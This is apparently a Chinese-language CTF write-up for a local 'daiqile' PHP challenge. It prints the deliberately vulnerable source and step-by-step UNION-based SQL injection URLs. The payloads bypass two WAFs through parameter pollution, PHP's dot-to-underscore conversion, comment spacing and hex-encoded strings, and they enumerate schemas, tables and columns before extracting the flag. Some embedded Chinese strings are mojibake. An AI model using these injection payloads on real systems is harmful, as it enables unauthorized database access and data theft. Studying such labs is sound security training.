目录
环境部署
注意
我使用的是PHP5.3.29版本进去的,
有时候进去报错可能是因为版本问题,换个版本就可以了
数据库的配置
需要创建mysql数据库以及数据表和添加数据
daiqile的源码
有些源码是用来做测试和数据库连接的,主要的是index.php
db.inc.php
php
<?php
$mysql_server_name="localhost";
$mysql_database="ctf"; /** 数据库的名称 */
$mysql_username="root"; /** MySQL数据库用户名 */
$mysql_password="root"; /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>
demo.php
php
<?php
echo $_GET['i_d'];
git.php
php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åä¿®æ¹æå";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å¨";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ä¿®æ¹æ¶è´§å°å</title>
<base href="./">
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>ä¿®æ¹æ¶è´§å°å</h1>
<form method="post">
<p>
<h3>å§å:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>çµè¯:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>å°å:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">ä¿®æ¹è®¢å</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订å管ç</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>è¿å</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >æè¦æ¥è®¢å</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >æä¸æ³è¦äº</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
hpp.php
php
<?php echo $_GET['i_d']; ?>
index.php
php
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['username'] . "</td>";
echo "</tr>";
}
}
?>
对于代码的分析
第一道WAF
它把/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is
这些关键词被过滤了一遍,联合查询不行了。爆破注入的话updataxml(user())还是可以的但是没有select感觉啥都查不到。
第二道WAF
它把你的'&', '"', '<', '>', '(', ')'弄成了实体编码,
''引号我们可以用十六进制来解决
php
select column_name from information_schema.tables where table_name="users"
select column_name from information_schema.tables where table_name=0x7573657273
<>可以使用greatest()、least()
但是()怎么办呢?
因为贷奇乐之前入侵过源码被放出来了,所以我们是了解数据库的,所以可以用用,但是这次案例用不到
下断点分析
先输入一个正常的数据
通过对于源码的分析我发现我的请求最早是会进入道这里去的,
进行第一道WAF的过滤
然后将来自己的传递的参数传进去,也就submit='bbbb'和i_d=2,
然后又走进
这个$_SERVER()是拿到路径而这个REQUEST_URI就是拿到当前的请求路径。
explode()这里的意思是用?去分割我们的带的REQUEST_URI以0开始取的,下一个才是1
在往下走
取的request_uri[1]它将submit='bbbb'&i_d=2取出来做判断
然后再用exlode函数用&做分割
然后往下走进入foreach循环先拿到submit='bbbb'
然后再用exlode函数用=做分割,以0开始取的,下一个才是1
再往下走取的value[1]所以取的就是'bbbb'
然后再往下走,判断这个$_value是否存在
如果存在就继续第两道WAF的过滤
因为我们先输入的正常字符它过滤不了
因为是foreach循环然后再拿i_d=2,往下走拿到了拿到了'2'
然后再去注入,将字符查询出来
绕过的方法
第一道WAF绕过的办法
php
http://127.0.0.1/daiqile/index.php?i_d=2%20unsion%20select%201,2,3%20&i_d=1
我们发现后面加一个&i_d=1既然没报错
但是我们输出&i_d=1,报错了
为什么呢?
这是因为http全局污染,php接受相同参数,取后者
第二道WAF的绕过的办法
但是如果取后者,就没有意义了,因为我的注入语句都是在第一个i_d后面跟着的,所以我们要第一个传参去取第二个值,第二个传参去取一个值。
前面哪些源码是用来做测试的
在php中有一个小特性,使用i.d或者i]d它会把.和]变_
php
http://127.0.0.1/daiqile/demo.php?i_d=1&i.d=2
如果i.d不转换我们应该取1但是并没有,所以它转换了
所以思路来了
第一个request取值的时候,明显是把.转换了的
$_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
道第二个WAF的时候明显是用的$_SEEVER()这个函数,是要区分开的
SERVER会把两个值区分开将i_d取出来
绕过的步骤
这里的原因咋个说%20这些被过滤掉了,所以得用/**/这个来过滤出来
php
http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=2/**/union/**/select/**/1,2,3&i.d=-1
注入的绕过技巧=单引号和空格
然后分析发现第一次拿到的_REQUEST别第二次的覆盖掉了
这个特性是HTTP的全局污染的特性,名字相同取第二个
然后我们发现没有数据库没有表名,也不到列名和列的行数
不过都是小问题,以为因为我们知道数据库自带的三个库里面存了这些东西
php
127.0.0.1/daiqile/index.php?submit=bbbb&i_d=2/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata&i.d=-1
还是有点问题,因为我发现居然连在一起了我的数据库名
然后我就想到了limit来限制,一个一个显示
php
127.0.0.1/daiqile/index.php?submit=bbbb&i_d=2/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/4,1&i.d=-1
php
http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'ctf'&i.d=2
发现没有,怎么回事呢?
原因是因为''被第二道墙过滤了
=号在第二个WAF传参那会要被分割
那么=可以成like
''可以使用十六进制
php
127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/table_schema/**/where/**/table_schema/**/like/**/0x637466&i.d=2
然后可以验证一下是不是只有这个表,用limit去试试
php
http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/table_schema/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/1,1&i.d=2
发现不见了
说明已经知道了users就是表名
然后拿到了表就该看哈表里面的参数名了
php
127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/table_schema/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=2
依然使用limit这个参数
php
http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/table_schema/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=2
那么现在就直接去拿flag
php
http://127.0.0.1/daiqile/index.php?submit=bbbb&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2